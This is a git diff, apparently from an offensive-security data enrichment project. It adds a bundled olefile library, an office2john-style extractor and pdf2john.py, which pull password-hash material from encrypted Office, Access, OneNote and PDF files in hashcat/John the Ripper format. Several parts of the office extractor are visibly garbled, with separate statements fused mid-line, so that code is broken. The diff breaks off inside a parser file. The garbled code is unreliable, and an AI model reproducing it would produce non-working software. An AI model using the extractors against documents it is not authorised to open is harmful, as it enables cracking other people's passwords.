otherwise: + + - STGTY_STREAM: a stream + - STGTY_STORAGE: a storage + - STGTY_ROOT: the root entry + """ + try: + sid = self._find(filename) + entry = self.direntries[sid] + return entry.entry_type + except: + return False + + def getmtime(self, filename): + """ + Return modification time of a stream/storage. + + :param filename: path of stream/storage in storage tree. (see openstream for + syntax) + :returns: None if modification time is null, a python datetime object + otherwise (UTC timezone) + + new in version 0.26 + """ + sid = self._find(filename) + entry = self.direntries[sid] + return entry.getmtime() + + def getctime(self, filename): + """ + Return creation time of a stream/storage. + + :param filename: path of stream/storage in storage tree. (see openstream for + syntax) + :returns: None if creation time is null, a python datetime object + otherwise (UTC timezone) + + new in version 0.26 + """ + sid = self._find(filename) + entry = self.direntries[sid] + return entry.getctime() + + def exists(self, filename): + """ + Test if given filename exists as a stream or a storage in the OLE + container. + Note: filename is case-insensitive. + + :param filename: path of stream in storage tree. (see openstream for syntax) + :returns: True if object exist, else False. + """ + try: + sid = self._find(filename) + return True + except: + return False + + def get_size(self, filename): + """ + Return size of a stream in the OLE container, in bytes. + + :param filename: path of stream in storage tree (see openstream for syntax) + :returns: size in bytes (long integer) + :exception IOError: if file not found + :exception TypeError: if this is not a stream. + """ + sid = self._find(filename) + entry = self.direntries[sid] + if entry.entry_type != STGTY_STREAM: + # TODO: Should it return zero instead of raising an exception ? + raise TypeError("object is not an OLE stream") + return entry.size + + def get_rootentry_name(self): + """ + Return root entry name. Should usually be 'Root Entry' or 'R' in most + implementations. + """ + return self.root.name + + def getproperties(self, filename, convert_time=False, no_conversion=None): + """ + Return properties described in substream. + + :param filename: path of stream in storage tree (see openstream for syntax) + :param convert_time: bool, if True timestamps will be converted to Python datetime + :param no_conversion: None or list of int, timestamps not to be converted + (for example total editing time is not a real timestamp) + + :returns: a dictionary of values indexed by id (integer) + """ + # REFERENCE: [MS-OLEPS] https://msdn.microsoft.com/en-us/library/dd942421.aspx + # make sure no_conversion is a list, just to simplify code below: + if no_conversion == None: + no_conversion = [] + # stream path as a string to report exceptions: + streampath = filename + if not isinstance(streampath, str): + streampath = "/".join(streampath) + + fp = self.openstream(filename) + + data = {} + + try: + # header + s = fp.read(28) + clsid = _clsid(s[8:24]) + + # format id + s = fp.read(20) + fmtid = _clsid(s[:16]) + fp.seek(i32(s, 16)) + + # get section + s = b"****" + fp.read(i32(fp.read(4)) - 4) + # number of properties: + num_props = i32(s, 4) + except BaseException as exc: + # catch exception while parsing property header, and only raise + # a DEFECT_INCORRECT then return an empty dict, because this is not + # a fatal error when parsing the whole file + msg = "Error while parsing properties header in stream %s: %s" % (repr(streampath), exc) + self._raise_defect(DEFECT_INCORRECT, msg, type(exc)) + return data + + for i in range(num_props): + try: + id = 0 # just in case of an exception + id = i32(s, 8 + i * 8) + offset = i32(s, 12 + i * 8) + type = i32(s, offset) + + debug("property id=%d: type=%d offset=%X" % (id, type, offset)) + + # test for common types first (should perhaps use + # a dictionary instead?) + + if type == VT_I2: # 16-bit signed integer + value = i16(s, offset + 4) + if value >= 32768: + value = value - 65536 + elif type == VT_UI2: # 2-byte unsigned integer + value = i16(s, offset + 4) + elif type in (VT_I4, VT_INT, VT_ERROR): + # VT_I4: 32-bit signed integer + # VT_ERROR: HRESULT, similar to 32-bit signed integer, + # see http://msdn.microsoft.com/en-us/library/cc230330.aspx + value = i32(s, offset + 4) + elif type in (VT_UI4, VT_UINT): # 4-byte unsigned integer + value = i32(s, offset + 4) # FIXME + elif type in (VT_BSTR, VT_LPSTR): + # CodePageString, see http://msdn.microsoft.com/en-us/library/dd942354.aspx + # size is a 32 bits integer, including the null terminator, and + # possibly trailing or embedded null chars + # TODO: if codepage is unicode, the string should be converted as such + count = i32(s, offset + 4) + value = s[offset + 8 : offset + 8 + count - 1] + # remove all null chars: + value = value.replace(b"\x00", b"") + elif type == VT_BLOB: + # binary large object (BLOB) + # see http://msdn.microsoft.com/en-us/library/dd942282.aspx + count = i32(s, offset + 4) + value = s[offset + 8 : offset + 8 + count] + elif type == VT_LPWSTR: + # UnicodeString + # see http://msdn.microsoft.com/en-us/library/dd942313.aspx + # "the string should NOT contain embedded or additional trailing + # null characters." + count = i32(s, offset + 4) + value = self._decode_utf16_str(s[offset + 8 : offset + 8 + count * 2]) + elif type == VT_FILETIME: + value = long(i32(s, offset + 4)) + (long(i32(s, offset + 8)) << 32) + # FILETIME is a 64-bit int: "number of 100ns periods + # since Jan 1,1601". + if convert_time and id not in no_conversion: + debug("Converting property #%d to python datetime, value=%d=%fs" % (id, value, float(value) / 10000000)) + # convert FILETIME to Python datetime.datetime + # inspired from http://code.activestate.com/recipes/511425-filetime-to-datetime/ + _FILETIME_null_date = datetime.datetime(1601, 1, 1, 0, 0, 0) + debug("timedelta days=%d" % (value // (10 * 1000000 * 3600 * 24))) + value = _FILETIME_null_date + datetime.timedelta(microseconds=value // 10) + else: + # legacy code kept for backward compatibility: returns a + # number of seconds since Jan 1,1601 + value = value // 10000000 # seconds + elif type == VT_UI1: # 1-byte unsigned integer + value = i8(s[offset + 4]) + elif type == VT_CLSID: + value = _clsid(s[offset + 4 : offset + 20]) + elif type == VT_CF: + # PropertyIdentifier or ClipboardData?? + # see http://msdn.microsoft.com/en-us/library/dd941945.aspx + count = i32(s, offset + 4) + value = s[offset + 8 : offset + 8 + count] + elif type == VT_BOOL: + # VARIANT_BOOL, 16 bits bool, 0x0000=Fals, 0xFFFF=True + # see http://msdn.microsoft.com/en-us/library/cc237864.aspx + value = bool(i16(s, offset + 4)) + else: + value = None # everything else yields "None" + debug("property id=%d: type=%d not implemented in parser yet" % (id, type)) + + # missing: VT_EMPTY, VT_NULL, VT_R4, VT_R8, VT_CY, VT_DATE, + # VT_DECIMAL, VT_I1, VT_I8, VT_UI8, + # see http://msdn.microsoft.com/en-us/library/dd942033.aspx + + # FIXME: add support for VT_VECTOR + # VT_VECTOR is a 32 uint giving the number of items, followed by + # the items in sequence. The VT_VECTOR value is combined with the + # type of items, e.g. VT_VECTOR|VT_BSTR + # see http://msdn.microsoft.com/en-us/library/dd942011.aspx + + # print("%08x" % id, repr(value), end=" ") + # print("(%s)" % VT[i32(s, offset) & 0xFFF]) + + data[id] = value + except BaseException as exc: + # catch exception while parsing each property, and only raise + # a DEFECT_INCORRECT, because parsing can go on + msg = "Error while parsing property id %d in stream %s: %s" % (id, repr(streampath), exc) + self._raise_defect(DEFECT_INCORRECT, msg, type(exc)) + + return data + + def get_metadata(self): + """ + Parse standard properties streams, return an OleMetadata object + containing all the available metadata. + (also stored in the metadata attribute of the OleFileIO object) + + new in version 0.25 + """ + self.metadata = OleMetadata() + self.metadata.parse_properties(self) + return self.metadata + + +# +# -------------------------------------------------------------------- +# This script can be used to dump the directory of any OLE2 structured +# storage file. + +if __name__ == "__main__disabled": + + # Standard Libraries + import sys + + # [PL] display quick usage info if launched from command-line + if len(sys.argv) <= 1: + print("olefile version %s %s - %s" % (__version__, __date__, __author__)) + print( + """ +Launched from the command line, this script parses OLE files and prints info. + +Usage: olefile.py [-d] [-c] [file2 ...] + +Options: +-d : debug mode (displays a lot of debug information, for developers only) +-c : check all streams (for debugging purposes) + +For more information, see http://www.decalage.info/olefile +""" + ) + sys.exit() + + check_streams = False + for filename in sys.argv[1:]: + # try: + # OPTIONS: + if filename == "-d": + # option to switch debug mode on: + set_debug_mode(True) + continue + if filename == "-c": + # option to switch check streams mode on: + check_streams = True + continue + + ole = OleFileIO(filename) # , raise_defects=DEFECT_INCORRECT) + print("-" * 68) + print(filename) + print("-" * 68) + ole.dumpdirectory() + for streamname in ole.listdir(): + if streamname[-1][0] == "\005": + print(streamname, ": properties") + props = ole.getproperties(streamname, convert_time=True) + props = sorted(props.items()) + for k, v in props: + # [PL]: avoid to display too large or binary values: + if isinstance(v, (basestring, bytes)): + if len(v) > 50: + v = v[:50] + if isinstance(v, bytes): + # quick and dirty binary check: + for c in (1, 2, 3, 4, 5, 6, 7, 11, 12, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31): + if c in bytearray(v): + v = "(binary data)" + break + print(" ", k, v) + + if check_streams: + # Read all streams to check if there are errors: + print("\nChecking streams...") + for streamname in ole.listdir(): + # print name using repr() to convert binary chars to \xNN: + print("-", repr("/".join(streamname)), "-", end=" ") + st_type = ole.get_type(streamname) + if st_type == STGTY_STREAM: + print("size %d" % ole.get_size(streamname)) + # just try to read stream in memory: + ole.openstream(streamname) + else: + print("NOT a stream : type=%d" % st_type) + print() + + # for streamname in ole.listdir(): + # # print name using repr() to convert binary chars to \xNN: + # print('-', repr('/'.join(streamname)),'-', end=' ') + # print(ole.getmtime(streamname)) + # print() + + print("Modification/Creation times of all directory entries:") + for entry in ole.direntries: + if entry is not None: + print("- %s: mtime=%s ctime=%s" % (entry.name, entry.getmtime(), entry.getctime())) + print() + + # parse and display metadata: + meta = ole.get_metadata() + meta.dump() + print() + # [PL] Test a few new methods: + root = ole.get_rootentry_name() + print('Root entry name: "%s"' % root) + if ole.exists("worddocument"): + print("This is a Word document.") + print("type of stream 'WordDocument':", ole.get_type("worddocument")) + print("size :", ole.get_size("worddocument")) + if ole.exists("macros/vba"): + print("This document may contain VBA macros.") + + # print parsing issues: + print("\nNon-fatal issues raised during parsing:") + if ole.parsing_issues: + for exctype, msg in ole.parsing_issues: + print("- %s: %s" % (exctype.__name__, msg)) + else: + print("None") +## except IOError as v: +## print("***", "cannot read", file, "-", v) + +# this code was developed while listening to The Wedding Present "Sea Monsters" + + +##### borrowed library code ends, program starts ##### + +# This software is Copyright (c) 2012-2013 Dhiru Kholia +# and is licensed under the same license as used by the OleFileIO_PL library, +# which is included below. + +PY3 = sys.version_info[0] == 3 + +if not PY3: + reload(sys) + sys.setdefaultencoding("utf8") +if PY3: + # Standard Libraries + from io import BytesIO as StringIO +else: + from StringIO import StringIO + +# Standard Libraries +import binascii +from struct import unpack + + +def find_rc4_passinfo_xls(filename, stream, hashcat_format=True): + """ + Initial version of this function was based on a blog entry posted by + Worawit (sleepya) at http://auntitled.blogspot.in site. + + Since then this function has been heavily modified and extended. + + http://msdn.microsoft.com/en-us/library/dd908560%28v=office.12%29 + http://msdn.microsoft.com/en-us/library/dd920360%28v=office.12%29 + """ + + while True: + pos = stream.tell() + if pos >= stream.size: + break # eof + + type = unpack("= 2 and minor_version == 2: + # RC4 CryptoAPI Encryption Header + unpack("= 2 and minor_version == 2: + # RC4 CryptoAPI Encryption Header + unpack("= 2 and minor_version == 2: + pass + else: + continue + # RC4 CryptoAPI Encryption Header, Section 2.3.5.1 - RC4 CryptoAPI + # Encryption Header in [MS-OFFCRYPTO].pdf + unpack(" -1: + sys.stderr.write("%s uses un-supported cipher algorithm %s, please file a bug! \n" % (filename, cipherAlgorithm)) + return -4 + + saltValue = node.attrib.get("saltValue") + assert saltValue + encryptedVerifierHashInput = node.attrib.get("encryptedVerifierHashInput") + encryptedVerifierHashValue = node.attrib.get("encryptedVerifierHashValue") + if PY3: + encryptedVerifierHashValue = binascii.hexlify(base64.decodebytes(encryptedVerifierHashValue.encode())) + else: + encryptedVerifierHashValue = binascii.hexlify(base64.decodestring(encryptedVerifierHashValue.encode())) + + if PY3: + saltAscii = binascii.hexlify(base64.decodebytes(saltValue.encode())).decode("ascii") + encryptedVerifierHashAscii = binascii.hexlify(base64.decodebytes(encryptedVerifierHashInput.encode())).decode("ascii") + else: + saltAscii = binascii.hexlify(base64.decodestring(saltValue.encode())).decode("ascii") + encryptedVerifierHashAscii = binascii.hexlify(base64.decodestring(encryptedVerifierHashInput.encode())).decode("ascii") + + if hashcat_format: + sys.stdout.write("$office$*%d*%d*%d*%d*%s*%s*%s\n" % (version, int(spinCount), int(keyBits), int(saltSize), saltAscii, encryptedVerifierHashAscii, encryptedVerifierHashValue[0:64].decode("ascii"))) + else: + sys.stdout.write("%s:$office$*%d*%d*%d*%d*%s*%s*%s\n" % (os.path.basename(filename), version, int(spinCount), int(keyBits), int(saltSize), saltAscii, encryptedVerifierHashAscii, encryptedVerifierHashValue[0:64].decode("ascii"))) + return 0 + + +have_summary = False +summary = [] + +# Standard Libraries +import re +from binascii import unhexlify + + +def remove_html_tags(data): + p = re.compile(r"<.*?>", re.DOTALL) + return p.sub("", str(data)) + + +def remove_extra_spaces(data): + p = re.compile(r"\s+") + return p.sub(" ", data) + + +def process_file(filename, hashcat_format=True): + # Test if a file is an OLE container + try: + f = open(filename, "rb") + data = f.read(81920) # is this enough? + if data[0:2] == b"PK": + # sys.stderr.write("%s : zip container found, file is " \ + # "unencrypted?, invalid OLE file!\n" % filename) + f.close() + return 1 + f.close() + + # ACCDB handling hack for MS Access >= 2007 (Office 12) + accdb_magic = b"Standard ACE DB" + accdb_xml_start = b'" + if accdb_magic in data and accdb_xml_start in data: + # find start and the end of the XML metadata stream + start = data.find(accdb_xml_start) + trailer = data.find(accdb_xml_trailer) + xml_metadata_parser(data[start : trailer + len(accdb_xml_trailer)], filename) + return + elif accdb_magic in data: # Access 2007 files using CryptoAPI + process_access_2007_older_crypto(filename) + return + + # OneNote handling hack for OneNote versions >= 2013, see [MS-ONESTORE].pdf + onenote_magic = unhexlify("e4525c7b8cd8") + onenote_xml_start = b'" + if data.startswith(onenote_magic) and onenote_xml_start in data: + # find start and the end of the XML metadata stream + start = data.find(onenote_xml_start) + trailer = data.find(onenote_xml_trailer) + xml_metadata_parser(data[start : trailer + len(onenote_xml_trailer)], filename) + return + + if not isOleFile(filename): + sys.stderr.write("%s : Invalid OLE file\n" % filename) + return 1 + except Exception: + e = sys.exc_info()[1] + # Standard Libraries + import traceback + + traceback.print_exc() + sys.stderr.write("%s : OLE check failed, %s\n" % (filename, str(e))) + return 2 + + # Open OLE file: + ole = OleFileIO(filename) + + stream = None + + # find "summary" streams + global have_summary, summary + have_summary = False + summary = [] + + for streamname in ole.listdir(): + streamname = streamname[-1] + if streamname[0] == "\005": + have_summary = True + props = ole.getproperties(streamname) + for k, v in props.items(): + if v is None: + continue + if not PY3: + # We are only interested in strings + if not isinstance(v, unicode): # pyright: ignore[reportUndefinedVariable] + continue + else: + if not isinstance(v, str): # We are only interested in strings + continue + v = remove_html_tags(v) + v = v.replace(":", "") + v = remove_extra_spaces(v) + # words = v.split() + # words = filter(lambda x: len(x) < 20, words) + # v = " ".join(words) + summary.append(v) + summary = " ".join(summary) + summary = remove_extra_spaces(summary) + + if ["EncryptionInfo"] in ole.listdir(): + # process Office 2003 / 2010 / 2013 files + return process_new_office(filename) + if ["Workbook"] in ole.listdir(): + stream = "Workbook" + elif ["Book"] in ole.listdir(): + stream = "Book" + elif ["WordDocument"] in ole.listdir(): + typ = 1 + sdoc = ole.openstream("WordDocument") + stream = find_table(filename, sdoc) + if stream == "none": + return 5 + + elif ["PowerPoint Document"] in ole.listdir(): + stream = "Current User" + else: + sys.stderr.write("%s : No supported streams found\n" % filename) + return 2 + + try: + workbookStream = ole.openstream(stream) + except: + # Standard Libraries + import traceback + + traceback.print_exc() + sys.stderr.write("%s : stream %s not found!\n" % (filename, stream)) + return 2 + + if workbookStream is None: + sys.stderr.write("%s : Error opening stream, %s\n" % filename) + (filename, stream) + return 3 + + if stream == "Workbook" or stream == "Book": + typ = 0 + passinfo = find_rc4_passinfo_xls(filename, workbookStream) + if passinfo is None: + return 4 + elif stream == "0Table" or stream == "1Table": + passinfo = find_rc4_passinfo_doc(filename, workbookStream) + if passinfo is None: + return 4 + else: + sppt = ole.openstream("Current User") + offset = find_ppt_type(filename, sppt) + sppt = ole.openstream("PowerPoint Document") + ret = find_rc4_passinfo_ppt(filename, sppt, offset) + if not ret: + find_rc4_passinfo_ppt_bf(filename, sppt, offset) + + return 6 + + (salt, verifier, verifierHash) = passinfo + + summary_extra = "" + # if have_summary: + # summary_extra = ":::%s::%s" % (summary, filename) + + if hashcat_format: + sys.stdout.write("$oldoffice$%s*%s*%s*%s%s\n" % (typ, binascii.hexlify(salt).decode("ascii"), binascii.hexlify(verifier).decode("ascii"), binascii.hexlify(verifierHash).decode("ascii"), summary_extra)) + else: + sys.stdout.write("%s:$oldoffice$%s*%s*%s*%s%s\n" % (os.path.basename(filename), typ, binascii.hexlify(salt).decode("ascii"), binascii.hexlify(verifier).decode("ascii"), binascii.hexlify(verifierHash).decode("ascii"), summary_extra)) + + workbookStream.close() + ole.close() + + return 0 + + +def extract_file_encryption_hash(filename, hashcat_format=True): + + with io.StringIO() as buf, redirect_stdout(buf): + process_file(filename, hashcat_format) + return buf.getvalue().strip() + + +# if __name__ == "__main__": +# if len(sys.argv) < 2: +# sys.stderr.write("Usage: %s \n" % sys.argv[0]) +# sys.exit(1) + +# # set_debug_mode(1) + +# for i in range(1, len(sys.argv)): +# if not PY3: +# ret = process_file_string(sys.argv[i].decode("utf8")) +# else: +# ret = process_file_string(sys.argv[i]) diff --git a/cmd/enrichment/enrichment/lib/ext_tools/pdf2john.py b/cmd/enrichment/enrichment/lib/ext_tools/pdf2john.py new file mode 100644 index 0000000..3c8ff79 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/ext_tools/pdf2john.py @@ -0,0 +1,334 @@ +#!/usr/bin/env python + +# Pulled from https://github.com/truongkma/ctf-tools/blob/74dc2d959b7305bb859721cfa7af83ca3973a1c8/John/run/pdf2john.py +# Copyright (c) 2013 Shane Quigley, < shane at softwareontheside.info > +# Small modifications on exact formatting of output + +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: + +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. + +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +import re +import sys +import os +from xml.dom import minidom + +PY3 = sys.version_info[0] == 3 + +class PdfParser: + def __init__(self, file_name): + self.file_name = file_name + f = open(file_name, 'rb') + self.encrypted = f.read() + f.close() + self.process = True + psr = re.compile(b'PDF-\d\.\d') + try: + self.pdf_spec = psr.findall(self.encrypted)[0] + except IndexError: + sys.stderr.write("%s is not a PDF file!\n" % file_name) + self.process = False + + def parse(self): + if not self.process: + return + + try: + trailer = self.get_trailer() + except RuntimeError: + e = sys.exc_info()[1] + sys.stderr.write("%s : %s\n" % (self.file_name, str(e))) + return + # print >> sys.stderr, trailer + object_id = self.get_object_id(b'Encrypt', trailer) + # print >> sys.stderr, object_id + if(len(object_id) == 0): + raise RuntimeError("Could not find object id") + encryption_dictionary = self.get_encryption_dictionary(object_id) + # print >> sys.stderr, encryption_dictionary + dr = re.compile(b'\d+') + vr = re.compile(b'\/V \d') + rr = re.compile(b'\/R \d') + try: + v = dr.findall(vr.findall(encryption_dictionary)[0])[0] + except IndexError: + raise RuntimeError("Could not find /V") + r = dr.findall(rr.findall(encryption_dictionary)[0])[0] + lr = re.compile(b'\/Length \d+') + longest = 0 + # According to the docs: + # Length : (Optional; PDF 1.4; only if V is 2 or 3). Default value: 40 + length = b'40' + for le in lr.findall(encryption_dictionary): + if(int(dr.findall(le)[0]) > longest): + longest = int(dr.findall(le)[0]) + length = dr.findall(le)[0] + pr = re.compile(b'\/P -?\d+') + try: + p = pr.findall(encryption_dictionary)[0] + except IndexError: + # print >> sys.stderr, "** dict:", encryption_dictionary + raise RuntimeError("Could not find /P") + pr = re.compile(b'-?\d+') + p = pr.findall(p)[0] + meta = '1' if self.is_meta_data_encrypted(encryption_dictionary) else '0' + idr = re.compile(b'\/ID\s*\[\s*<\w+>\s*<\w+>\s*\]') + try: + i_d = idr.findall(trailer)[0] # id key word + except IndexError: + # some pdf files use () instead of <> + idr = re.compile(b'\/ID\s*\[\s*\(\w+\)\s*\(\w+\)\s*\]') + try: + i_d = idr.findall(trailer)[0] # id key word + except IndexError: + # print >> sys.stderr, "** idr:", idr + # print >> sys.stderr, "** trailer:", trailer + raise RuntimeError("Could not find /ID tag") + return + idr = re.compile(b'<\w+>') + try: + i_d = idr.findall(trailer)[0] + except IndexError: + idr = re.compile(b'\(\w+\)') + i_d = idr.findall(trailer)[0] + i_d = i_d.replace(b'<',b'') + i_d = i_d.replace(b'>',b'') + i_d = i_d.lower() + passwords = self.get_passwords_for_JtR(encryption_dictionary) + + if passwords and len(passwords) > 0: + output = '$pdf$'+v.decode('ascii')+'*'+r.decode('ascii')+'*'+length.decode('ascii')+'*' + output += p.decode('ascii')+'*'+meta+'*' + output += str(int(len(i_d)/2))+'*'+i_d.decode('ascii')+'*'+passwords + return f"{output}" + + # if(self.is_meta_data_encrypted(encryption_dictionary)): + # sys.stdout.write("%s:%s:::::%s\n" % (os.path.basename(self.file_name.encode('UTF-8')), output.encode('UTF-8'), self.file_name.encode('UTF-8'))) + # else: + # gecos = self.parse_meta_data(trailer) + # sys.stdout.write("%s:%s:::%s::%s\n" % (os.path.basename(self.file_name.encode('UTF-8')), output.encode('UTF-8'), gecos.encode('UTF-8'), self.file_name.encode('UTF-8'))) + + def get_passwords_for_JtR(self, encryption_dictionary): + output = "" + letters = [b"U", b"O"] + if(b"1.7" in self.pdf_spec): + letters = [b"U", b"O", b"UE", b"OE"] + for let in letters: + pr_str = b'\/' + let + b'\s*\([^)]+\)' + pr = re.compile(pr_str) + pas = pr.findall(encryption_dictionary) + if(len(pas) > 0): + pas = pr.findall(encryption_dictionary)[0] + # because regexs in python suck <=== LOL + while(pas[-2] == b'\\'): + pr_str += b'[^)]+\)' + pr = re.compile(pr_str) + # print >> sys.stderr, "pr_str:", pr_str + # print >> sys.stderr, encryption_dictionary + try: + pas = pr.findall(encryption_dictionary)[0] + except IndexError: + break + output += self.get_password_from_byte_string(pas)+"*" + else: + pr = re.compile(let + b'\s*<\w+>') + pas = pr.findall(encryption_dictionary) + if not pas: + continue + pas = pas[0] + pr = re.compile(b'<\w+>') + pas = pr.findall(pas)[0] + pas = pas.replace(b"<",b"") + pas = pas.replace(b">",b"") + if PY3: + output += str(int(len(pas)/2))+'*'+str(pas.lower(),'ascii')+'*' + else: + output += str(int(len(pas)/2))+'*'+pas.lower()+'*' + return output[:-1] + + def is_meta_data_encrypted(self, encryption_dictionary): + mr = re.compile(b'\/EncryptMetadata\s\w+') + if(len(mr.findall(encryption_dictionary)) > 0): + wr = re.compile(b'\w+') + is_encrypted = wr.findall(mr.findall(encryption_dictionary)[0])[-1] + if(is_encrypted == b"false"): + return False + else: + return True + else: + return True + + def parse_meta_data(self, trailer): + root_object_id = self.get_object_id(b'Root', trailer) + root_object = self.get_pdf_object(root_object_id) + object_id = self.get_object_id(b'Metadata', root_object) + xmp_metadata_object = self.get_pdf_object(object_id) + return self.get_xmp_values(xmp_metadata_object) + + def get_xmp_values(self, xmp_metadata_object): + xmp_metadata_object = xmp_metadata_object.partition(b"stream")[2] + xmp_metadata_object = xmp_metadata_object.partition(b"endstream")[0] + try: + xml_metadata = minidom.parseString(xmp_metadata_object) + except: + return "" + values = [] + values.append(self.get_dc_value("title", xml_metadata)) + values.append(self.get_dc_value("creator", xml_metadata)) + values.append(self.get_dc_value("description", xml_metadata)) + values.append(self.get_dc_value("subject", xml_metadata)) + created_year = xml_metadata.getElementsByTagName("xmp:CreateDate") + if(len(created_year) > 0): + created_year = created_year[0].firstChild.data[0:4] + values.append(str(created_year)) + return " ".join(values).replace(":", "") + + def get_dc_value(self, value, xml_metadata): + output = xml_metadata.getElementsByTagName("dc:"+value) + if(len(output) > 0): + output = output[0] + output = output.getElementsByTagName("rdf:li")[0] + if(output.firstChild): + output = output.firstChild.data + return output + return "" + + def get_encryption_dictionary(self, object_id): + encryption_dictionary = self.get_pdf_object(object_id) + for o in encryption_dictionary.split(b"endobj"): + if(object_id+b" obj" in o): + encryption_dictionary = o + return encryption_dictionary + + def get_object_id(self, name , trailer): + oir = re.compile(b'\/' + name + b'\s\d+\s\d\sR') + try: + object_id = oir.findall(trailer)[0] + except IndexError: + # print >> sys.stderr, " ** get_object_id: name \"", name, "\", trailer ", trailer + return "" + oir = re.compile(b'\d+ \d') + object_id = oir.findall(object_id)[0] + return object_id + + def get_pdf_object(self, object_id): + output = object_id+b" obj" + \ + self.encrypted.partition(b"\r"+object_id+b" obj")[2] + if(output == object_id+b" obj"): + output = object_id+b" obj" + \ + self.encrypted.partition(b"\n"+object_id+b" obj")[2] + output = output.partition(b"endobj")[0] + b"endobj" + # print >> sys.stderr, output + return output + + def get_trailer(self): + trailer = self.get_data_between(b"trailer", b">>", b"/ID") + if(trailer == b""): + trailer = self.get_data_between(b"DecodeParms", b"stream", b"") + if(trailer == ""): + raise RuntimeError("Can't find trailer") + if(trailer != "" and trailer.find(b"Encrypt") == -1): + # print >> sys.stderr, trailer + raise RuntimeError("File not encrypted") + return trailer + + def get_data_between(self, s1, s2, tag): + output = b"" + inside_first = False + lines = re.split(b'\n|\r', self.encrypted) + for line in lines: + inside_first = inside_first or line.find(s1) != -1 + if(inside_first): + output += line + if(line.find(s2) != -1): + if(tag == b"" or output.find(tag) != -1): + break + else: + output = b"" + inside_first = False + return output + + def get_hex_byte(self, o_or_u, i): + if PY3: + return hex(o_or_u[i]).replace('0x', '') + else: + return hex(ord(o_or_u[i])).replace('0x', '') + + def get_password_from_byte_string(self, o_or_u): + pas = "" + escape_seq = False + escapes = 0 + excluded_indexes = [0, 1, 2] + #For UE & OE in 1.7 spec + if not PY3: + if(o_or_u[2] != '('): + excluded_indexes.append(3) + else: + if(o_or_u[2] != 40): + excluded_indexes.append(3) + for i in range(len(o_or_u)): + if(i not in excluded_indexes): + if(len(self.get_hex_byte(o_or_u, i)) == 1 \ + and o_or_u[i] != "\\"[0]): + pas += "0" # need to be 2 digit hex numbers + is_back_slash = True + if not PY3: + is_back_slash = o_or_u[i] != "\\"[0] + else: + is_back_slash = o_or_u[i] != 92 + if(is_back_slash or escape_seq): + if(escape_seq): + if not PY3: + esc = "\\"+o_or_u[i] + else: + esc = "\\"+chr(o_or_u[i]) + esc = self.unescape(esc) + if(len(hex(ord(esc[0])).replace('0x', '')) == 1): + pas += "0" + pas += hex(ord(esc[0])).replace('0x', '') + escape_seq = False + else: + pas += self.get_hex_byte(o_or_u, i) + else: + escape_seq = True + escapes += 1 + output = len(o_or_u)-(len(excluded_indexes)+1)-escapes + return str(output)+'*'+pas[:-2] + + def unescape(self, esc): + escape_seq_map = {'\\n':"\n", '\\s':"\s", '\\e':"\e", + '\\r':"\r", '\\t':"\t", '\\v':"\v", '\\f':"\f", + '\\b':"\b", '\\a':"\a", "\\)":")", + "\\(":"(", "\\\\":"\\" } + + return escape_seq_map[esc] + +# if __name__ == "__main__": +# if len(sys.argv) < 2: +# sys.exit(-1) +# for j in range(1, len(sys.argv)): +# if not PY3: +# filename = sys.argv[j].decode('UTF-8') +# else: +# filename = sys.argv[j] +# # sys.stderr.write("Analyzing %s\n" % sys.argv[j].decode('UTF-8')) +# parser = PdfParser(filename) +# try: +# print(parser.parse()) +# except RuntimeError: +# e = sys.exc_info()[1] +# sys.stderr.write("%s : %s\n" % (filename, str(e))) diff --git a/cmd/enrichment/enrichment/lib/file_parsers/Meta.py b/cmd/enrichment/enrichment/lib/file_parsers/Meta.py new file mode 100644 index 0000000..2ed5823 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/Meta.py @@ -0,0 +1,38 @@ +# Standard Libraries +from abc import ABC, abstractmethod + +# 3rd Party Libraries +# import enrichment.lib.helpers as helpers +import nemesispb.nemesis_pb2 as pb + + +class FileType(ABC): + def __new__(cls, *args, **kwargs): + if cls is pb.FileDataEnriched: + raise TypeError(f"TypeError: Can't instantiate abstract class %s directly".format(name=cls.__name__)) + return object.__new__(cls) + + @abstractmethod + def __init__(self, file: pb.FileDataEnriched): + pass + + @abstractmethod + def check_path(self) -> bool: + """ + Returns True if the internal File path matches our target criteria. + """ + pass + + @abstractmethod + def check_content(self) -> bool: + """ + Returns True if the internal File contents matches our target criteria. + """ + pass + + @abstractmethod + def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]: + """ + Parses the file if parsing is defined, including any reversible decryption. + """ + pass diff --git a/cmd/enrichment/enrichment/lib/file_parsers/appsettings.py b/cmd/enrichment/enrichment/lib/file_parsers/appsettings.py new file mode 100644 index 0000000..92927a0 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/appsettings.py @@ -0,0 +1,150 @@ +# Standard Libraries +import json +import os +import re + +# 3rd Party Libraries +import enrichment.lib.file_parsers.Meta as Meta +import enrichment.lib.helpers as helpers +import nemesispb.nemesis_pb2 as pb +import structlog + +logger = structlog.get_logger(module=__name__) + + +def parenthetic_contents(string): + stack = [] + for i, c in enumerate(string): + if c == "(": + stack.append(i) + elif c == ")" and stack: + start = stack.pop() + s = string[start + 1 : i] + temp = s.split("=") + if len(temp) == 1: + yield (temp[0], "") + else: + yield (temp[0], temp[1]) + + +class appsettings(Meta.FileType): + def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata): + if type(file_data) == pb.FileDataEnriched: + self.file_data = file_data + self.metadata = metadata + self.file_path = file_path + else: + raise Exception("Input was not a file_data object") + + def check_path(self) -> bool: + """ + Returns True if the 